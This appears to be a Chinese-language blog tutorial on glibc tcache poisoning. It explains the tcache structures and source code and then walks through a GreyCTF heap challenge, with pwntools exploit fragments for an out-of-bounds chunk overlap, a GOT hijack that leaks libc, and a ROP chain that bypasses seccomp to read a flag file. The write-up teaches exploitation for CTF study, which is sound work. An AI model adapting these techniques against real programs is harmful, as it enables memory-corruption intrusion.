banner
raye~

Raye's Journey

且趁闲身未老,尽放我、些子疏狂。
medium
tg_channel
twitter
github
email
nintendo switch
playstation
steam_profiles

一文带你理解tcache缓存投毒

文章首发于 https://xz.aliyun.com/t/12600

tcache 结构分析#

Tcache(Thread Cache)是 glibc(GNU C Library)从 2.26 版本开始引入的一个特性,旨在提升内存分配性能。在 tcache 中,每个线程都有自己的缓存,可以减少线程间的互斥和锁的竞争。

默认情况下,大小小于等于 1032(0x408)字节的 chunk 会被放入 tcache 中。

分配释放:当程序进行 malloc 操作时,会优先检查 tcache 是否有可用的 chunk,如果有,就直接返回。同样,当进行 free 操作时,如果 chunk 的大小符合要求,并且对应的 tcache bin 还未满(默认每个 bin 可以存放 7 个 chunk),就会把 chunk 放入 tcache。否则,会按照原来的流程,放入 unsorted bin 或者其他的 bin 中。

数据结构:Tcache 的数据结构主要是一个数组,每个元素都是一个单向链表的头节点。数组的下标对应了 chunk 的大小,即第 i 个元素对应了大小为 (i+1)*16 的 chunk 的链表。链表中的每个节点都是一个空闲的 chunk,节点的第一个字段存放了指向下一个节点的指针。

tcache 在内存中的数据结构示意图如下:

+----+    +------+     +------+
| 0  | -> | chunk| --> | chunk| --> NULL
+----+    +------+     +------+
| 1  | -> NULL
+----+ 
| 2  | -> | chunk| --> NULL
+----+    +------+
| .. | 
+----+
| n  | -> | chunk| --> | chunk| --> | chunk| --> NULL
+----+    +------+     +------+     +------+

了解 tcache poisoning#

我们先来看看缓存投毒的基本攻击思路,核心代码如下:

size_t stack_var; // 目标投毒的地址

intptr_t *a = malloc(128); // addr: 0x5555555592a0
intptr_t *b = malloc(128); // addr: 0x555555559330

free(a);
free(b);

b[0] = (intptr_t)&stack_var;  // tcache poisoning !

intptr_t *c = malloc(128);

assert((long)&stack_var == (long)c); // 此时我们已经获得了针对栈地址 &stack_var 读写控制权

然后我们来分过程看每一个环节的堆内存布局变化

  1. 连续申请两个 chunk,再释放,此时释放的 chunk 进入到 tcache 管理起来

查看此时的堆内存布局

tcache 链表有点像一个栈,遵循 LIFO 的原则

pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555555593b0 (size : 0x20c50) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x90)   tcache_entry[7](2): 0x555555559330 --> 0x5555555592a0 // 后面解释tcache_entry结构体
  1. 根据上文提到的内存布局,相同大小的tcache 通过链表维护起来。修改指针指向(后面会分析),使得 tcache 链表的指针指向栈上的地址

此时我们观察到 tcache_entry[7] 的指向

pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555555593b0 (size : 0x20c50) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x90)   tcache_entry[7](2): 0x555555559330 --> 0x7fffffffe508 --> 0x555555555410 (overlap chunk with 0x555555559320(freed) )
  1. 申请一次 tcache 分配,此时获得是之前释放的 b chunk

此时的 tcache 已经被

pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555555593b0 (size : 0x20c50) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x90)   tcache_entry[7](1): 0x7fffffffe508 --> 0x555555555410 (overlap chunk with 0x7fffffffe4f8(freed) )
  1. 第二次申请 tcache 分配,本来这里是获得之前的 a chunk 的,但是由于 tcache 的指向已经发生了变化,导致我们可以获得一次针对栈上的地址进行读写的机会

DraggedImage

若要细究其原理,得从 glibc 中对应的源码入手:

从源码层面分析 tcache#

tache 的数据结构如下:

/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;

/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct").  Keeping overall size low is mildly important.  Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

static __thread tcache_perthread_struct *tcache = NULL;

tcache_entry 结构体本质上是一个单链表指针,tcache_perthread_struct 存储了所有的 tcache 入口,通过 counts 记录每个 tcache 链的个数

tcache poisoning 漏洞涉及到两个函数:

  • 分配函数 tcache_get
    • 找到对应的 tcache_entry 表项
    • 取出链表的头节点返回
  • 回收函数 tcache_put
    • 将 chunk 强制转为 tcache_entry结构
    • 头插法将其插入到对应的 tcache_entry 表项中
      本质上是用链表实现了一个栈结构,FIFO
static void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]); // 对应的tcache数量减少1
  return (void *) e;
}
static void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);
  e->next = tcache->entries[tc_idx]; // 通过头插法插入新的chunk
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

重点是这行代码:

tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

chunk2mem 的宏是这样的,即将 chunk 指针往后移动指向用户数据区域

/* Convert a chunk address to a user mem pointer without correcting
   the tag.  */
#define chunk2mem(p) ((void*)((char*)(p) + CHUNK_HDR_SZ))

而关键在于, 代码中直接强制转化,将其转为 tcache_entry  结构,这代表着,用户数据的前 8 个字节(64 位)存储了 tcache 的 next 指针

这就意味着我们可以直接修改 next 指针,从而获得任意地址写的机会,因此 tcache 的利用相比 fastbin 事实上更加简单了

例题分析#

题目源码和 exp 可以在这里找到 https://github.com/ret2school/ctf/tree/master/2023/greyctf/pwn/writemeabook

main 函数#

main 函数主要功能:

  1. 输入作者签名
  2. 调用secure_library 设置 seccomp
  3. write_book程序主要功能

write_books#

write_books 函数,功能总结为:

  • 1337 能泄露出一次给定分配块的地址
  • 1 新增一本书
  • 2 编辑一本书
  • 3 删除一本书

write_book#

向书架中插入一本书,并且在书的尾部,写上作者签名和一个 magic number

可以看到一个书 chunk 的大小为输入的内容 + 0x10,并且会存储在 book 结构体中的 size 字段

rewrite_book 漏洞点#

编辑一本书,但是注意到这里能够输入的内容为 books[idx].size , 而这就意味着我们可以多输入 0x10 的内容(oob,即 out-of-bounds)来实现 chunk overlap(因为上文分析道用户数据的长度事实上只有 books[idx].size - 0x10

throw_book#

删除一本书,调用 free 函数

解题思路分析#

题目存在很明显的漏洞点,即利用 oob 可以实现 overlap

利用 tcache poisoning#

来计算下我们要怎么做到 tcache poisioning

  1. 首先必须要两个 tcache,参照前面的示例(需要有一个 tcache 来修改指针指向)
  2. 其次,我们不能直接改 chunk 指针(前面的示例是在源码呢所以可以直接改),所以还需要一个快来通过 overlap 来修改指针
  3. 最后,为了达到 overlap 的目的,前面还需要一个块,通过 oob 溢出来实现 overlap

malloc chunk#

连续申请 4 个 chunk,4 个 chunk 的目的分别为:

  1. chunk1 泄露 heap base addr + oob 覆盖 chunk2
  2. chunk2 修改 chunk3 的 next 指针,实现 tcache poisoning
  3. chunk3 通过 next 指针获得一段可写的内存
  4. chunk4 用作 0x40 tcache 的填充

DraggedImage-1

chunk1 oob to overlap#

  1. 修改 chunk1,oob 修改 chunk2 的大小
  2. 释放 chunk4,填充到 0x40 tcache
  3. chunk2 的大小被修改为 0x40,和 chunk3 实现 overlap
  4. 修改 chunk2 的内容,覆盖 chunk3 的 next 指针

DraggedImage-2

泄漏 libc base#

books 结构体的地址是固定的,地址为 0x4040e0 ,每个 book 结构体前 0x8 个字节存储这本书的 size ,另外 0x8 字节存储这本书在 chunk 地址

DraggedImage-3

当我们获得任意地址写的时候,就可以针对 0x4040e0 这个堆块去写入内容,再利用 rewrite_book 来实现劫持 got 表泄露 libc base addr

我们写入的内容为:

    edit(1, pwn.flat([
            # 1==
            0xff, # sz
            exe.sym.stdout, # target
            # 2==
            0x8, # sz
            exe.got.free, # target
            # 3==
            0x8, # sz
            exe.sym.secret_msg, # target
            # 4==
            0xff, # sz
            exe.sym.books # target
        ] + [0] * 0x60, filler = b"\x00"))

观察内存布局:

pwndbg> x/40gx 0x4040e0
0x4040e0 <books>:       0x00000000000000ff      0x00000000004040a0
0x4040f0 <books+16>:    0x0000000000000008      0x0000000000404018
0x404100 <books+32>:    0x0000000000000008      0x00000000004040c0
0x404110 <books+48>:    0x00000000000000ff      0x00000000004040e0
0x404120 <books+64>:    0x0000000000000000      0x0000000000000000
0x404130 <books+80>:    0x0000000000000000      0x0000000000000000
0x404140 <books+96>:    0x0000000000000000      0x0000000000000000
0x404150 <books+112>:   0x0000000000000000      0x0000000000000000
0x404160 <books+128>:   0x0000000000000000      0x0000000000000000
0x404170 <books+144>:   0x0000000000000000      0x0000000000000000

此时我们就可以理解为

  • 第一本书的内存地址为 0x4040a0(实际上这个为 stdout 的 got 表) size 为 0xff
  • 第二本书的内存地址为 0x404018(实际上这个为 free 的 got 表) size 为 0xff
  • 第三本书的内存地址为 0x4040c0 (实际上为 secret_msg 的地址),size 为 0x8
  • 第四本书的内存地址为 0x4040e0 (实际上我 sym.books 的地址,方便我们二次写入,size 为 0xff

于是可以劫持 free 的 got 表来实现打印 stdout@got 表项,再通过确定的偏移泄露出 libc base addr

    # free@got => puts
    edit(2, b"".join([
            pwn.p64(exe.sym.puts)
        ]))

DraggedImage-4

ROP 绕过 seccomp#

程序有 seccomp 保护,只允许 readwriteopenexit

于是我们需要通过向栈上写入 ROP 的方式来读 flag,首先计算栈帧

泄露环境变量地址来计算栈帧(注意第 4 本书我们之前设置了指向自身,因此可以反复编辑)

    # leak stack (environ)
    edit(4, pwn.flat([
            # 1==
            0xff, # sz
            libc.sym.environ # target
        ], filler = b"\x00"))

栈帧地址:也就是调用这个函数返回的 ret 地址

DraggedImage-5

获得栈帧地址后,使用 pwntools 自带的 rop 模块来实现

rop = pwn.ROP(libc, base=stackframe_rewrite)

# setup the write to the rewrite stackframe
edit(4, pwn.flat([
        # 1==
        0xff, # sz
        stackframe_rewrite # target
    ], filler = b"\x00"))

# ROPchain
rop(rax=pwn.constants.SYS_open, rdi=stackframe_rewrite + 0xde + 2, rsi=pwn.constants.O_RDONLY) # open
rop.call(rop.find_gadget(["syscall", "ret"]))
rop(rax=pwn.constants.SYS_read, rdi=3, rsi=heap_leak, rdx=0x100) # file descriptor bf ...
rop.call(rop.find_gadget(["syscall", "ret"]))

rop(rax=pwn.constants.SYS_write, rdi=1, rsi=heap_leak, rdx=0x100) # write
rop.call(rop.find_gadget(["syscall", "ret"]))
rop.exit(0x1337)
rop.raw(b"/flag\x00")

EXP 调试#

由于堆内存布局的原因,地址可能不一样,这里记录某次调试过程:

分配 4 个 chunk#

Book 的结构如下:

DraggedImage-6

4 个 chunk 的布局

DraggedImage-7

oob#

    # chunk2 => sz extended
    edit(1, b"K"*0x20)

此时的 chunk2 大小已经被修改了

DraggedImage-8

tcache poisoning#

此时 tcache3 的 next 指针已经被修改了

DraggedImage-9

任意地址写#

利用 tcache poisioning 修改 books 的结构,布局如下,至此 tcache poisoning 的利用就完成了

DraggedImage-10

参考#

how2heap/tcache_poisoning.c at master · shellphish/how2heap · GitHub

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.